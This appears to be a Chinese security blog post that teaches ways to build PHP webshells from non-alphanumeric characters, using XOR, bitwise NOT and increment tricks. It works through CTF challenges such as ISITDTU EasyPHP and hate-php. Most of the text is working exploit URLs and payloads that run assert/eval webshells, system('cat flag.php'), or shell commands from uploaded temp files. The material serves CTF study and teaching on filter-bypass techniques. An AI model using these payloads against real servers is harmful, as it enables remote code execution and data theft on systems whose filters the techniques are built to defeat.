无字符构造webshell

2020-07-18 68次浏览 0条评论  前往评论

前言


学习一波奇淫巧计,本篇大量参考了P神离别歌的文章:

一些不包含数字和字母的webshell

无字母数字webshell之提高篇

无字符绕过


<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}
  • 本篇PHP环境为5.6

方法一(异或)


<?php
echo (''^'`');
//输出a

以此类推,构造webshell

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

exp

http://127.0.0.1/1.php?shell=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);

post传参

_=phpinfo();

可以这个代码表达式计算出异或可见的结果

<?php
for($i=128;$i<255;$i++){
    echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."\n";
}
?>

方法二(取反)

<?php
echo ~('瞰'{1});
//输出a

但是这里有数字1,要另外想办法构造

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
echo $_;
//输出1

以此类推,构造webshell

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);
//assert($_POST[2]);

exp

http://127.0.0.1/1.php?shell=$__=('>'>'<')%2b('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]);

post传参

2=phpinfo();

方法三(自增)


<?php
echo ''.[];
//输出Array

通过自增构造字符

<?php
$a = 'a';
$a++;
echo $a;
//输出b

以此类推,构造webshell

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

exp

http://127.0.0.1/1.php?shell=$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$____='_';$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;
$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;
$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$_=$$____;$___($_[_]);

post传参

_=phpinfo();

无字符绕过(提高篇)


<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

这里比上面多了两个限制

  • webshell长度不超过35位
  • 除了不包含字母数字,还不能包含$_

php7.2下简单解决问题

<?php
$a = urlencode(~'phpinfo');
echo $a;
//%8F%97%8F%96%91%99%90

exp

http://127.0.0.1/1.php?code=(~%8F%97%8F%96%91%99%90)();

php5的思考

如果我们用上面7.2的exp会报错,原因就是php5并不支持这种表达方式。

PHP5+shell打破禁锢

这里只能是在linux的情况下使用。这里没有复现成功,直接用P神离别歌的图了。

"反引号"是PHP中最简单的执行shell的方法。

.file能用bash执行file文件中的命令。如果我们POST发送上传一个文件,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

此时就可以用到Linux下的glob通配符:

  • *可以代替0个及以上任意字符
  • ?可以代表1个任意字符
  • [^x]的方法来构造"这个位置不是字符x"。

  • [@-[]来表示大写字母。

最后,我传入的code为

?><?=`. /???/????????[@-[]`;?>

发送数据包如下:

无字符绕过(例题)


例子一(异或)


 <?php
highlight_file(__FILE__);
if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $_GET['a']) ){
    eval($_GET['a']);
    }

?> 

这里看到~被过滤了,所以上面提到的取反绕过就不能用了。但是这里的话并没有过滤$。所以可以使用异或的方式绕过。

<?php
$a = urldecode('%ff%ff%ff%ff');
$b = urldecode('%a0%b8%ba%ab');
echo $a^$b;
//输出_GET

exp

?a=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//${_GET}{%ff}();&%ff=phpinfo

构造webshell

?a=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%a0}(${%fe%fe%fe%fe^%a1%b9%bb%aa}{%a1});&%a0=assert&%a1=eval($_POST[%27cmd%27])
//${_GET}{%a0}(${_GET}{%a1});&%a0=assert&%a1=eval($_POST[%27cmd%27])

这里有一点要注意的就是P神在提高篇里面说到的,如果这道题目是PHP7版本的话,是可以用取反加上异或的方式去做的,但是如果本题是PHP5.6版本的话,因为不支持这种表达方式就做不了。

例子二(取反)


[ISITDTU 2019]EasyPHP

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

这一题过滤的东西比较多,把$过滤了,但是没有过滤~,可以用取反的方式。

但是第二个过滤,strtolower将字符串转换为小写,用count_chars返回由所有使用了的字节值组成的字符串,再判断其中每个字符累计出现次数是否大于 13。

查看phpinfo

<?php
$a = urlencode(~'phpinfo');
echo $a;
//%8F%97%8F%96%91%99%90

exp

?_=(~%8F%97%8F%96%91%99%90)();

构造shell

<?php
$a='assert';
echo urlencode(~$a);
echo "<br>";
$c='(eval($_POST[cmd]))';
echo urlencode(~$c);
//%9E%8C%8C%9A%8D%8B
//%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6

exp

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

但是这里的话构造shell第二个过滤过不去,而且网上没看到有writeup有构造shell的,看到都是取反异或构造函数去找flag,这里又恰好是PHP7的版本,可以使用这种方式,这里贴一下解题过程

  • 取反异或
((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));
//print_r(scandir('.'));

count_chars过不去,需要缩减字符

((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

回显

Array ( [0] => . [1] => .. [2] => index.php [3] => n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt ) 

读文件

((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));
//show_source(end(scandir(.)));

例子三


第五空间hate-php

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die('You are too good for me'); 
    }
    $blacklist = get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) { 
        if (preg_match ('/' . $blackitem . '/im', $code)) { 
            die('You deserve better'); 
        } 
    }
    assert($code);
} 

第一个正则过滤了一些符号了flag.ph中任意的字符,第二个foreach过滤了所有内置函数

  • exp1
?code=(~%8C%86%8C%8B%9A%92)(${%a7%ae%ac%ac^%f8%e9%e9%f8}{%a7})&%a7=cat%20flag.php
//system({_GET}{%a7})&%a7=cat%20flag.php
  • exp2
?code=${~%a0%b8%ba%ab}{%a0}(${~%a0%b8%ba%ab}{%a1})&%a0=highlight_file&%a1=flag.php
//?code=${_GET}{%a0}(${_GET}{%a1})&%a0=highlight_file&%a1=flag.php
  • exp3
?code=(~(%8c%86%8c%8b%9a%92))((~(%9a%91%9b))((~(%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c))()))
//?code=(system)((end)((getallheaders)()))
//?code=system(end(getallheaders()))
//需要请求头添加
kawhi: cat flag.php



登录后回复

共有0条评论